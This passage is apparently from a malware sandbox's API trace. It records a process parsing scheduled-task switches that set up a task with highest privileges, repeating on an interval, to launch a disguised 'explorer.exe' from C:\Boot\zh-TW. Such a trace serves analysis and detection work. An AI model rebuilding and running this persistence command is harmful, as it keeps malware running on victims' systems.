returned 0 [0118.662] lstrlenW (lpString="mo") returned 2 [0118.662] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.663] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|query|") returned 7 [0118.663] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.663] lstrlenW (lpString="|query|") returned 7 [0118.663] lstrlenW (lpString="|mo|") returned 4 [0118.663] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0118.663] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.663] lstrlenW (lpString="change") returned 6 [0118.663] lstrlenW (lpString="change") returned 6 [0118.663] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.663] lstrlenW (lpString="mo") returned 2 [0118.663] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.663] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|change|") returned 8 [0118.663] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.663] lstrlenW (lpString="|change|") returned 8 [0118.663] lstrlenW (lpString="|mo|") returned 4 [0118.663] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0118.663] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.663] lstrlenW (lpString="run") returned 3 [0118.663] lstrlenW (lpString="run") returned 3 [0118.663] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.663] lstrlenW (lpString="mo") returned 2 [0118.663] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.663] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|run|") returned 5 [0118.663] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.663] lstrlenW (lpString="|run|") returned 5 [0118.663] lstrlenW (lpString="|mo|") returned 4 [0118.664] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0118.664] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.664] lstrlenW (lpString="end") returned 3 [0118.664] lstrlenW (lpString="end") returned 3 [0118.664] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.664] lstrlenW (lpString="mo") returned 2 [0118.664] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.664] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|end|") returned 5 [0118.664] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.664] lstrlenW (lpString="|end|") returned 5 [0118.664] lstrlenW (lpString="|mo|") returned 4 [0118.664] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0118.664] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.664] lstrlenW (lpString="showsid") returned 7 [0118.664] lstrlenW (lpString="showsid") returned 7 [0118.664] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.664] lstrlenW (lpString="mo") returned 2 [0118.664] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.664] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|showsid|") returned 9 [0118.664] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|mo|") returned 4 [0118.664] lstrlenW (lpString="|showsid|") returned 9 [0118.664] lstrlenW (lpString="|mo|") returned 4 [0118.664] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0118.664] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.664] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.664] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.664] lstrlenW (lpString="/mo") returned 3 [0118.664] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] lstrlenW (lpString="/mo") returned 3 [0118.665] GetProcessHeap () returned 0x1a4f4a30000 [0118.665] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x8) returned 0x1a4f4a33b50 [0118.665] GetProcessHeap () returned 0x1a4f4a30000 [0118.665] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b500 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] lstrlenW (lpString="12") returned 2 [0118.665] lstrlenW (lpString="-/") returned 2 [0118.665] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] lstrlenW (lpString="12") returned 2 [0118.665] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] lstrlenW (lpString="12") returned 2 [0118.665] GetProcessHeap () returned 0x1a4f4a30000 [0118.665] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x6) returned 0x1a4f4a33b70 [0118.665] GetProcessHeap () returned 0x1a4f4a30000 [0118.665] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b620 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.665] lstrlenW (lpString="/tr") returned 3 [0118.665] lstrlenW (lpString="-/") returned 2 [0118.665] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.665] lstrlenW (lpString="?") returned 1 [0118.666] lstrlenW (lpString="?") returned 1 [0118.666] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.666] lstrlenW (lpString="tr") returned 2 [0118.666] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.666] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|?|") returned 3 [0118.666] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.666] lstrlenW (lpString="|?|") returned 3 [0118.666] lstrlenW (lpString="|tr|") returned 4 [0118.666] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.666] lstrlenW (lpString="create") returned 6 [0118.666] lstrlenW (lpString="create") returned 6 [0118.668] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.668] lstrlenW (lpString="tr") returned 2 [0118.668] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.668] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.668] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.668] lstrlenW (lpString="|create|") returned 8 [0118.669] lstrlenW (lpString="|tr|") returned 4 [0118.669] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0118.669] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.669] lstrlenW (lpString="delete") returned 6 [0118.669] lstrlenW (lpString="delete") returned 6 [0118.669] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.669] lstrlenW (lpString="tr") returned 2 [0118.669] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.669] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|delete|") returned 8 [0118.669] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.669] lstrlenW (lpString="|delete|") returned 8 [0118.669] lstrlenW (lpString="|tr|") returned 4 [0118.669] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0118.669] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.669] lstrlenW (lpString="query") returned 5 [0118.669] lstrlenW (lpString="query") returned 5 [0118.669] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.669] lstrlenW (lpString="tr") returned 2 [0118.669] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.669] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|query|") returned 7 [0118.669] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.669] lstrlenW (lpString="|query|") returned 7 [0118.669] lstrlenW (lpString="|tr|") returned 4 [0118.669] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0118.669] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.669] lstrlenW (lpString="change") returned 6 [0118.669] lstrlenW (lpString="change") returned 6 [0118.670] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.670] lstrlenW (lpString="tr") returned 2 [0118.670] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.670] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|change|") returned 8 [0118.670] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.670] lstrlenW (lpString="|change|") returned 8 [0118.670] lstrlenW (lpString="|tr|") returned 4 [0118.670] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0118.670] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.670] lstrlenW (lpString="run") returned 3 [0118.670] lstrlenW (lpString="run") returned 3 [0118.670] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.670] lstrlenW (lpString="tr") returned 2 [0118.670] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.670] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|run|") returned 5 [0118.670] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.670] lstrlenW (lpString="|run|") returned 5 [0118.670] lstrlenW (lpString="|tr|") returned 4 [0118.670] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0118.670] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.670] lstrlenW (lpString="end") returned 3 [0118.670] lstrlenW (lpString="end") returned 3 [0118.670] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.670] lstrlenW (lpString="tr") returned 2 [0118.670] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.671] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|end|") returned 5 [0118.671] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.671] lstrlenW (lpString="|end|") returned 5 [0118.671] lstrlenW (lpString="|tr|") returned 4 [0118.671] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0118.671] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.671] lstrlenW (lpString="showsid") returned 7 [0118.671] lstrlenW (lpString="showsid") returned 7 [0118.671] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.671] lstrlenW (lpString="tr") returned 2 [0118.671] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.671] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|showsid|") returned 9 [0118.671] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|tr|") returned 4 [0118.671] lstrlenW (lpString="|showsid|") returned 9 [0118.671] lstrlenW (lpString="|tr|") returned 4 [0118.671] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0118.671] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.671] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.671] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.671] lstrlenW (lpString="/tr") returned 3 [0118.671] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0118.671] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.671] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.671] lstrlenW (lpString="/tr") returned 3 [0118.671] GetProcessHeap () returned 0x1a4f4a30000 [0118.672] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x8) returned 0x1a4f4a33b90 [0118.672] GetProcessHeap () returned 0x1a4f4a30000 [0118.672] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b800 [0118.672] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.672] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.672] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.672] lstrlenW (lpString="-/") returned 2 [0118.672] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0118.672] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.672] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.672] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.672] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.672] StrChrIW (lpStart="'C:\\Boot\\zh-TW\\explorer.exe'", wMatch=0x3a) returned=":\\Boot\\zh-TW\\explorer.exe'" [0118.672] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.672] GetProcessHeap () returned 0x1a4f4a30000 [0118.672] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a3a9e0 [0118.672] _memicmp (_Buf1=0x1a4f4a3a9e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.672] GetProcessHeap () returned 0x1a4f4a30000 [0118.672] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0xe) returned 0x1a4f4a3aa00 [0118.672] GetProcessHeap () returned 0x1a4f4a30000 [0118.672] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x18) returned 0x1a4f4a3ab20 [0118.672] _memicmp (_Buf1=0x1a4f4a3ab20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.672] GetProcessHeap () returned 0x1a4f4a30000 [0118.672] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x3c) returned 0x1a4f4a3c0f0 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] lstrlenW (lpString="'C") returned 2 [0118.673] lstrlenW (lpString="-/") returned 2 [0118.673] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] lstrlenW (lpString="'C:\\Boot\\zh-TW\\explorer.exe'") returned 28 [0118.673] GetProcessHeap () returned 0x1a4f4a30000 [0118.673] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x3a) returned 0x1a4f4a3c1e0 [0118.673] GetProcessHeap () returned 0x1a4f4a30000 [0118.673] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b380 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.673] lstrlenW (lpString="/rl") returned 3 [0118.673] lstrlenW (lpString="-/") returned 2 [0118.673] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.674] lstrlenW (lpString="?") returned 1 [0118.674] lstrlenW (lpString="?") returned 1 [0118.674] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.674] lstrlenW (lpString="rl") returned 2 [0118.674] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.674] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|?|") returned 3 [0118.674] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.674] lstrlenW (lpString="|?|") returned 3 [0118.674] lstrlenW (lpString="|rl|") returned 4 [0118.674] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.674] lstrlenW (lpString="create") returned 6 [0118.674] lstrlenW (lpString="create") returned 6 [0118.674] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.674] lstrlenW (lpString="rl") returned 2 [0118.674] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.674] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|create|") returned 8 [0118.674] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.674] lstrlenW (lpString="|create|") returned 8 [0118.674] lstrlenW (lpString="|rl|") returned 4 [0118.674] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0118.674] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.674] lstrlenW (lpString="delete") returned 6 [0118.675] lstrlenW (lpString="delete") returned 6 [0118.675] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.675] lstrlenW (lpString="rl") returned 2 [0118.675] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.675] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|delete|") returned 8 [0118.675] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.675] lstrlenW (lpString="|delete|") returned 8 [0118.675] lstrlenW (lpString="|rl|") returned 4 [0118.675] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0118.675] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.675] lstrlenW (lpString="query") returned 5 [0118.675] lstrlenW (lpString="query") returned 5 [0118.675] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.675] lstrlenW (lpString="rl") returned 2 [0118.675] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.675] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|query|") returned 7 [0118.675] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.675] lstrlenW (lpString="|query|") returned 7 [0118.675] lstrlenW (lpString="|rl|") returned 4 [0118.675] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0118.675] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.675] lstrlenW (lpString="change") returned 6 [0118.675] lstrlenW (lpString="change") returned 6 [0118.675] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.675] lstrlenW (lpString="rl") returned 2 [0118.676] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.676] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|change|") returned 8 [0118.676] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.676] lstrlenW (lpString="|change|") returned 8 [0118.676] lstrlenW (lpString="|rl|") returned 4 [0118.676] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0118.676] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.676] lstrlenW (lpString="run") returned 3 [0118.676] lstrlenW (lpString="run") returned 3 [0118.676] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.676] lstrlenW (lpString="rl") returned 2 [0118.676] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.676] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|run|") returned 5 [0118.676] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.676] lstrlenW (lpString="|run|") returned 5 [0118.676] lstrlenW (lpString="|rl|") returned 4 [0118.676] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0118.676] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.676] lstrlenW (lpString="end") returned 3 [0118.676] lstrlenW (lpString="end") returned 3 [0118.676] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.676] lstrlenW (lpString="rl") returned 2 [0118.676] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.676] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|end|") returned 5 [0118.677] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.677] lstrlenW (lpString="|end|") returned 5 [0118.677] lstrlenW (lpString="|rl|") returned 4 [0118.677] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0118.677] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.677] lstrlenW (lpString="showsid") returned 7 [0118.677] lstrlenW (lpString="showsid") returned 7 [0118.677] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.677] lstrlenW (lpString="rl") returned 2 [0118.677] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.677] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|showsid|") returned 9 [0118.677] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|rl|") returned 4 [0118.677] lstrlenW (lpString="|showsid|") returned 9 [0118.677] lstrlenW (lpString="|rl|") returned 4 [0118.677] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0118.677] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.677] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.677] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.677] lstrlenW (lpString="/rl") returned 3 [0118.677] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0118.677] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.677] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.677] lstrlenW (lpString="/rl") returned 3 [0118.677] GetProcessHeap () returned 0x1a4f4a30000 [0118.677] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x8) returned 0x1a4f4a33bb0 [0118.677] GetProcessHeap () returned 0x1a4f4a30000 [0118.677] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b4d0 [0118.677] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] lstrlenW (lpString="HIGHEST") returned 7 [0118.678] lstrlenW (lpString="-/") returned 2 [0118.678] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] lstrlenW (lpString="HIGHEST") returned 7 [0118.678] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] lstrlenW (lpString="HIGHEST") returned 7 [0118.678] GetProcessHeap () returned 0x1a4f4a30000 [0118.678] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x10) returned 0x1a4f4a3a800 [0118.678] GetProcessHeap () returned 0x1a4f4a30000 [0118.678] RtlAllocateHeap (HeapHandle=0x1a4f4a30000, Flags=0xc, Size=0x20) returned 0x1a4f4a3b320 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.678] lstrlenW (lpString="/f") returned 2 [0118.678] lstrlenW (lpString="-/") returned 2 [0118.678] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.678] lstrlenW (lpString="?") returned 1 [0118.678] lstrlenW (lpString="?") returned 1 [0118.678] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.678] lstrlenW (lpString="f") returned 1 [0118.678] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.678] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|?|") returned 3 [0118.678] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4f108 | out: _Buffer="|f|") returned 3 [0118.678] lstrlenW (lpString="|?|") returned 3 [0118.679] lstrlenW (lpString="|f|") returned 3 [0118.679] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0118.679] 